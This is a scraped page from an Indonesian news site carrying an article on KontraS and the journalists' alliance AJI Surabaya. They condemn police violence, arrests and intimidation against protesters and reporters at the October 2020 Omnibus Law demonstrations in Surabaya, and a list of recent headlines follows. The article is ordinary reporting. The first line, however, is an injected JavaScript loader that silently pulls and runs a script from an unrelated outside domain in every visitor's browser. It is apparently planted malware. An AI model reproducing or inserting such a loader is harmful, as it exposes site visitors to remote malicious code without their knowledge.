(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

KontraS Kembali Kritisi Kekerasan Aparat terhadap Demonstran UU Cipta Kerja


KANALKALIMANTAN.COM, SURABAYA – Komisi untuk Orang Hilang dan Korban Tindak Kekerasan (KontraS) Surabaya menyesalkan terjadinya kekerasan yang dilakukan aparat kepolisian, terhadap peserta aksi unjuk rasa penolakan pengesahan Undang-Undang (UU) Cipta Kerja di Surabaya, pada 8 Oktober lalu.

Koordinator KontraS Surabaya, Rahmat Faisal, mengatakan telah terjadi penyalahgunaan kekuasaan atau wewenang lewat sejumlah kekerasan, penangkapan, teror, dan intimidasi yang dilakukan aparat kepolisian terhadap massa yang berunjuk rasa. Polisi menangkap lebih dari 600 orang untuk dimintai keterangan, meskipun akhirnya dibebaskan kembali. Empat belas orang ditetapkan sebagai tersangka, di mana sebelas di antaranya pelajar.

Rahmat mengatakan pihaknya saat ini sedang melakukan pendampingan terhadap tiga tersangka anak yang menyerahkan kuasa hukumnya kepada KontraS.

“KontraS sedang mengusahakan soal diversi. Mengusahakan soal pembebasan tersangka anak, mengingat mereka harus bersekolah dan mereka masih mengalami trauma, mengalami luka-luka akibat pemukulan saat penangkapan,” kata Rahmat Faisal.

Tak hanya para pengunjuk rasa, wartawan yang sedang meliput juga sempat menjadi korban kekerasan aparat. Sedikitnya ada tujuh laporan upaya perampasan alat dan penghapusan dokumen, serta intimidasi yang dialami jurnalis.

Ketua Aliansi Jurnalis Independen (AJI) Surabaya, Miftah Faridl, mengatakan kekerasan dan intimidasi yang dialami jurnalis ini, tampak dilakukan secara sadar atau sengaja, terstruktur, masif, dan dilakukan berulang. Pasalnya, polisi tahu persis identitas mereka.

Salah satu jurnalis menggunakan jaket pers yang ditahan di Polda Metro Jaya saat meliput aksi tolak UU Cipta Kerja di Jakarta pada Kamis, 8 Oktober 2020. (Foto:Merahputihdotcom)

Menurut Miftah, kekerasan terhadap wartawan yang meliput demo terjadi karena para jurnalis merekam banyak kekerasan yang dilakukan polisi terhadap para pedemo.

“Mereka berusaha menghilangkan barang bukti itu,” ujar Miftah.

“Kenapa ini terus berulang, ini pertanyaan yang cukup sederhana sebenarnya untuk dijawab, karena adanya praktik impunitas, karena adanya praktik pengampunan, atau adanya praktik pengabaian yang dilakukan oleh negara, terhadap aksi-aksi kekerasan yang dilakukan terhadap jurnalis,” tukas Miftah Faridl.

AJI Surabaya mendesak Dewan Pers ikut bertanggung jawab atas pembiaran dan terus berlangsungnya aksi kekerasan terhadap jurnalis. Dewan Pers diminta bersikap tegas dengan melayangkan protes terhadap Kepolisian maupun Presiden. Selain itu, AJI Surabaya juga membuat surat terbuka kepada publik, agar siapa saja termasuk polisi rajin belajar dan membaca, sehingga memahami tugas dan fungsi pers yang dilindungi oleh aturan hukum.

Sementara pengajar hukum dari Fakultas Hukum Universitas Airlangga, Herlambang Perdana Wiratraman, menyebut berulangnya kekerasan oleh polisi dalam menangani aksi unjuk rasa, memperlihatkan ketidakprofesionalan polisi dalam menjalankan tugasnya. Padahal aksi unjuk rasa sebagai bentuk dari kebebasan berekspresi di negara demokrasi ini dilindungi oleh undang-undang.

Herlambang mendesak Presiden Joko Widodo untuk mengambil langkah konkret dalam menyelamatkan konstitusi, yang semakin banyak dilanggar oleh aparat penegak hukum itu sendiri. Pembiaran yang dilakukan, akan semakin menguatkan lahirnya otoritarianisme baru di Indonesia.

“Sekarang kalau pemimpin negara, Presiden bicara, kemudian itu tidak diikuti, maka sebenarnya kita sedang masuk fase barbarianism politic, politik barbar yang tidak pernah jelas ujungnya,” ujar Herlambang.

“Jadi, saya khawatir kalau ucapan atau komitmen politik dari Presiden itu, satu, tidak keluar, dua, kalau misalnya keluar tidak diikuti, maka sebenarnya kita sudah dalam fase menguatnya otoritarianisme di tanah air,” imbuhnya. (pr/em/ft)

Reporter: Petrus
Editor: VOA


Desy Arfianty

Recent Posts

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

2 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

2 jam ago

Donasi Palestina Pjs Wali Kota Banjarbaru di Stan Sekretariat DPRD

KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More

2 jam ago

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

3 jam ago

DPRD Kalsel Usulkan Pengangkatan Muhidin Jadi Gubernur

KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More

4 jam ago

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

16 jam ago

This website uses cookies.